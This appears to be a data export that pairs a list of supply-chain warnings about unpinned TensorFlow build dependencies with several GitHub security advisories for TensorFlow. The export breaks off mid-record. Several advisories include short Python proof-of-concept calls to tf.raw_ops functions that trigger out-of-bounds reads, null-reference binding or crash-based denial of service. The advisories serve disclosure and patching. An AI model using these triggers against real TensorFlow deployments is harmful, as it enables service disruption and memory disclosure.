tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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OOB in `SdcaOptimizerV2`","description":"### Impact\nAn attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `tf.raw_ops.SdcaOptimizerV2`:\n\n```python\nimport tensorflow as tf\n  \ntf.raw_ops.SdcaOptimizerV2(\n  sparse_example_indices=[[1]],\n  sparse_feature_indices=[[1]],\n  sparse_feature_values=[[1.0,2.0]],\n  dense_features=[[1.0]],\n  example_weights=[1.0],\n  example_labels=[],\n  sparse_indices=[1],\n  sparse_weights=[1.0],\n  dense_weights=[[1.0]],\n  example_state_data=[[100.0,100.0,100.0,100.0]],\n  loss_type='logistic_loss',\n  l1=100.0,\n  l2=100.0,\n  num_loss_partitions=1,\n  num_inner_iterations=1,\n  adaptive=True)       \n``` \n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/sdca_internal.cc#L320-L353) does not check that the length of `example_labels` is the same as the number of examples.\n\n### Patches\nWe have patched the issue in GitHub commit [a4e138660270e7599793fa438cd7b2fc2ce215a6](https://github.com/tensorflow/tensorflow/commit/a4e138660270e7599793fa438cd7b2fc2ce215a6).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-25T14:41:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5hj3-vjjf-f5m7","https://nvd.nist.gov/vuln/detail/CVE-2021-37672","https://github.com/tensorflow/tensorflow/commit/a4e138660270e7599793fa438cd7b2fc2ce215a6","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-585.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-783.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-294.yaml","https://github.com/advisories/GHSA-5hj3-vjjf-f5m7"],"source_kind":"github","identifiers":["GHSA-5hj3-vjjf-f5m7","CVE-2021-37672"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.100981977951726,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.305Z","updated_at":"2024-11-13T21:10:23.000Z","epss_percentage":0.00016,"epss_percentile":0.02139},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTR4ZnAtNHBmcC04OXdn","url":"https://github.com/advisories/GHSA-4xfp-4pfp-89wg","title":"Reference binding to nullptr in `RaggedTensorToSparse`","description":"### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.RaggedTensorToSparse`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RaggedTensorToSparse(\n  rt_nested_splits=[[0, 38, 0]],\n  rt_dense_values=[])\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/ragged_tensor_to_sparse_kernel.cc#L30) has an incomplete validation of the splits values: it does not check that they are in increasing order.\n\n### Patches\nWe have patched the issue in GitHub commit [1071f554dbd09f7e101324d366eec5f4fe5a3ece](https://github.com/tensorflow/tensorflow/commit/1071f554dbd09f7e101324d366eec5f4fe5a3ece).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-25T14:42:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4xfp-4pfp-89wg","https://nvd.nist.gov/vuln/detail/CVE-2021-37656","https://github.com/tensorflow/tensorflow/commit/1071f554dbd09f7e101324d366eec5f4fe5a3ece","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-569.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-767.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-278.yaml","https://github.com/advisories/GHSA-4xfp-4pfp-89wg"],"source_kind":"github","identifiers":["GHSA-4xfp-4pfp-89wg","CVE-2021-37656"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.685Z","updated_at":"2024-11-13T20:52:01.000Z","epss_percentage":0.00013,"epss_percentile":0.01485},{"uuid":"GSA_kwCzR0hTQS1tdzZqLWhoMjktaDM3Oc4AArM-","url":"https://github.com/advisories/GHSA-mw6j-hh29-h379","title":"`CHECK` failure in depthwise ops via overflows","description":"### Impact\nThe implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via `CHECK`-failure (assertion failure) caused by overflowing the number of elements in a tensor:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)\nfilter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32)\nout_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)\ntf.raw_ops.DepthwiseConv2dNativeBackpropFilter(\n    input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding=\"SAME\")\n```\n  \nThis is another instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (CVE-2021-41197).\n  \n### Patches\nWe have patched the issue in GitHub commit [3796cc4fcd93ae55812a457abc96dcd55fbb854b](https://github.com/tensorflow/tensorflow/commit/3796cc4fcd93ae55812a457abc96dcd55fbb854b).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-25T19:33:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mw6j-hh29-h379","https://github.com/tensorflow/tensorflow/commit/3796cc4fcd93ae55812a457abc96dcd55fbb854b","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md","https://github.com/advisories/GHSA-mw6j-hh29-h379"],"source_kind":"github","identifiers":["GHSA-mw6j-hh29-h379"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.028Z","updated_at":"2023-01-11T05:07:02.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"GSA_kwCzR0hTQS02aHB2LXYycngtYzVnNs0XCg","url":"https://github.com/advisories/GHSA-6hpv-v2rx-c5g6","title":"FPE in convolutions with zero size filters","description":"### Impact\nThe [implementations for convolution operators](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/conv_ops.cc) trigger a division by 0 if passed empty filter tensor arguments.\n\n### Patches\nWe have patched the issue in GitHub commit [f2c3931113eaafe9ef558faaddd48e00a6606235](https://github.com/tensorflow/tensorflow/commit/f2c3931113eaafe9ef558faaddd48e00a6606235).\n  \nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T19:02:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6hpv-v2rx-c5g6","https://nvd.nist.gov/vuln/detail/CVE-2021-41209","https://github.com/tensorflow/tensorflow/commit/f2c3931113eaafe9ef558faaddd48e00a6606235","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-618.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-816.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-401.yaml","https://github.com/advisories/GHSA-6hpv-v2rx-c5g6"],"source_kind":"github","identifiers":["GHSA-6hpv-v2rx-c5g6","CVE-2021-41209"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.388Z","updated_at":"2024-11-07T22:19:58.000Z","epss_percentage":0.00017,"epss_percentile":0.02794},{"uuid":"GSA_kwCzR0hTQS05ZnBnLTgzOHYtd3B2N84AAu2v","url":"https://github.com/advisories/GHSA-9fpg-838v-wpv7","title":" TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVars`","description":"### Impact\nIf `FakeQuantWithMinMaxVars` is given `min` or `max` tensors of a nonzero rank, it results in a `CHECK` fail that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nnum_bits = 8\nnarrow_range = False\ninputs = tf.constant(0, shape=[2,3], dtype=tf.float32)\nmin = tf.constant(0, shape=[2,3], dtype=tf.float32)\nmax = tf.constant(0, shape=[2,3], dtype=tf.float32)\ntf.raw_ops.FakeQuantWithMinMaxVars(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by:\n - Neophytos Christou, Secure Systems Labs, Brown University.\n - 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:20:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9fpg-838v-wpv7","https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35971","https://github.com/advisories/GHSA-9fpg-838v-wpv7"],"source_kind":"github","identifiers":["GHSA-9fpg-838v-wpv7","CVE-2022-35971"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"},{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.975Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00194,"epss_percentile":0.41773},{"uuid":"GSA_kwCzR0hTQS1jcGY0LXd4ODItZ3hwNs0W_Q","url":"https://github.com/advisories/GHSA-cpf4-wx82-gxp6","title":"Segfault due to negative splits in `SplitV`","description":"### Impact\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/split_v_op.cc#L49-L205) of `SplitV` can trigger a segfault is an attacker supplies negative arguments:\n\n```python\nimport tensorflow as 